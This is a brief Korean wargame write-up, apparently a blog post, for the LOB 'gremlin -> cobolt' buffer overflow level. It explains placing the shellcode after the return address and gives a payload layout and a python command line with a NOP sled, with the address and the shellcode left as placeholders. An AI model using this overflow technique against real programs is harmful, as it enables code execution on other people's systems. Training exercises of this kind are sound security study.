Wargame/LOB(끝)
gremlin -> cobolt
kcrong
2015. 1. 23. 02:45
버퍼에 쉘코드를 넣을 만큼의 충분한 공간이 없으므로, 쉘코드를 RET 뒤에 넣기로 했다.
"\x90"*20 + RET(4) + "\x90"*200 + SHELLCODE(25)
PAYLOAD
./cobolt `python -c 'print "\x90"*20 + [NOP 슬라이드 주소] + "\x90"*200 + SHELLCODE'`
hacking exposed